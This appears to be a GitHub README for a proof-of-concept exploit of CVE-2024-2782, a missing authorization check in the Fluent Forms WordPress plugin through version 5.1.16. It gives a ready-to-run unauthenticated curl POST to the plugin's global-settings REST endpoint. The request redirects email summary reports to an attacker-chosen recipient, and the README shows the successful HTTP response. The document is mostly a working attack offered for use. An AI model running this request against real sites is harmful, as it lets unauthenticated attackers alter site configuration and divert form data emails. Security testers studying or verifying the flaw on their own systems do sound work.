whale93/cve-2024-2782-pocCVE-2024-2782 Proof-of-Concept
CVE-2024-2782 Proof-of-Concept
The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the /wp-json/fluentform/v1/global-settings REST API endpoint in all versions up to, and including, 5.1.16. This makes it possible for unauthenticated attackers to modify all of the plugin's settings.
Prerequisites
Exploit Command
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
-H "Content-Type: application/json"
-d '{
"key": "emailSummarySettings",
"email_report": "{"send_to_type":"custom","custom_recipients":"[email protected]"}"
}'
Expected Response
HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 13:11:49 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.11
X-Robots-Tag: noindex
Link: <http://target:9090/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Allow: POST
Content-Length: 4
Content-Type: application/json; charset=UTF-8
true
Screenshot
Verify changes in WordPress database
